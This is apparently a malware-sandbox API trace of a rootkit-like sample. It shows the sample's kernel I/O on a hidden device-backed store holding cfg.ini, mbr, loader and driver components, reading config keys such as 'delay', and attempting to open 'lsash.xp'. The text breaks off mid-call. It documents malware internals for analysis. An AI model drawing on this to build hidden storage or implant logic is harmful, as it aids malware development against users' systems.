[0124.176] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.176] IdePortDispatch () returned 0x103 [0124.176] KeWaitForMutexObject () returned 0x0 [0124.176] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.176] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.176] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.176] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.176] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.176] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.176] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.176] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.176] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.176] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.176] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.176] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.176] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.176] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.176] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.176] KeLeaveCriticalRegion () [0124.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.176] ReleaseMutex (hMutex=0x100) returned 1 [0124.176] Sleep (dwMilliseconds=0x2bf20) [0124.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d35d8d0, dwHighDateTime=0x1d24fa4)) [0124.182] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.183] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.183] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.183] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.183] KeEnterCriticalRegion () [0124.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.183] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.183] IdePortDispatch () returned 0x103 [0124.183] KeWaitForMutexObject () returned 0x0 [0124.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.183] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.183] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.183] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.183] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.183] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef4e0 [0124.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.183] KeLeaveCriticalRegion () [0124.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.183] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.183] KeEnterCriticalRegion () [0124.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.183] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.183] KeLeaveCriticalRegion () [0124.183] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.183] KeEnterCriticalRegion () [0124.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.184] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.184] IdePortDispatch () returned 0x103 [0124.184] KeWaitForMutexObject () returned 0x0 [0124.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.184] KeLeaveCriticalRegion () [0124.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.184] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.184] KeEnterCriticalRegion () [0124.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350c000 [0124.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.184] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.184] IdePortDispatch () returned 0x103 [0124.184] KeWaitForMutexObject () returned 0x0 [0124.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.184] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.184] IdePortDispatch () returned 0x103 [0124.185] KeWaitForMutexObject () returned 0x0 [0124.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] KeLeaveCriticalRegion () [0124.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.185] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.185] KeEnterCriticalRegion () [0124.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] KeLeaveCriticalRegion () [0124.185] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.185] KeEnterCriticalRegion () [0124.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.185] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] KeLeaveCriticalRegion () [0124.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.185] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.185] KeEnterCriticalRegion () [0124.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] ExFreePoolWithTag (P=0xfffffa8003bef4e0, Tag=0x0) [0124.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.185] KeLeaveCriticalRegion () [0124.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.185] ReleaseMutex (hMutex=0xf0) returned 1 [0124.185] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.186] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.186] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.186] KeEnterCriticalRegion () [0124.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.186] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.186] IdePortDispatch () returned 0x103 [0124.186] KeWaitForMutexObject () returned 0x0 [0124.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.186] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.186] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.186] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.186] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.186] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb440 [0124.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.186] KeLeaveCriticalRegion () [0124.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.186] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.186] KeEnterCriticalRegion () [0124.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.186] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.186] KeLeaveCriticalRegion () [0124.186] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.186] KeEnterCriticalRegion () [0124.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.186] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.186] IdePortDispatch () returned 0x103 [0124.187] KeWaitForMutexObject () returned 0x0 [0124.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.187] KeLeaveCriticalRegion () [0124.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.187] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.187] KeEnterCriticalRegion () [0124.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.187] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350d000 [0124.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.187] IdePortDispatch () returned 0x103 [0124.187] KeWaitForMutexObject () returned 0x0 [0124.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.187] IdePortDispatch () returned 0x103 [0124.187] KeWaitForMutexObject () returned 0x0 [0124.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.187] KeLeaveCriticalRegion () [0124.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.188] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.188] KeEnterCriticalRegion () [0124.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] KeLeaveCriticalRegion () [0124.188] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.188] KeEnterCriticalRegion () [0124.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.188] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] KeLeaveCriticalRegion () [0124.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.188] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.188] KeEnterCriticalRegion () [0124.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] ExFreePoolWithTag (P=0xfffffa8003beb440, Tag=0x0) [0124.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.188] KeLeaveCriticalRegion () [0124.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.188] ReleaseMutex (hMutex=0xf0) returned 1 [0124.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.188] KeEnterCriticalRegion () [0124.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.189] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.189] IdePortDispatch () returned 0x103 [0124.189] KeWaitForMutexObject () returned 0x0 [0124.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.189] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef60 [0124.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.189] KeLeaveCriticalRegion () [0124.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.189] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.189] KeEnterCriticalRegion () [0124.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.189] KeLeaveCriticalRegion () [0124.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.189] KeEnterCriticalRegion () [0124.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.189] IdePortDispatch () returned 0x103 [0124.189] KeWaitForMutexObject () returned 0x0 [0124.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.190] KeLeaveCriticalRegion () [0124.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.190] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.190] KeEnterCriticalRegion () [0124.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350e000 [0124.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.190] IdePortDispatch () returned 0x103 [0124.190] KeWaitForMutexObject () returned 0x0 [0124.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.191] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.191] IdePortDispatch () returned 0x103 [0124.191] KeWaitForMutexObject () returned 0x0 [0124.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.191] KeLeaveCriticalRegion () [0124.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.191] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.191] KeEnterCriticalRegion () [0124.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.191] KeLeaveCriticalRegion () [0124.191] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.191] KeEnterCriticalRegion () [0124.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.191] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.191] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.191] KeLeaveCriticalRegion () [0124.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.192] KeEnterCriticalRegion () [0124.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.192] ExFreePoolWithTag (P=0xfffffa8003beef60, Tag=0x0) [0124.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.192] KeLeaveCriticalRegion () [0124.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.192] ReleaseMutex (hMutex=0xf0) returned 1 [0124.192] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.192] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.192] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.192] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.192] KeEnterCriticalRegion () [0124.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.192] IoAllocateIrp 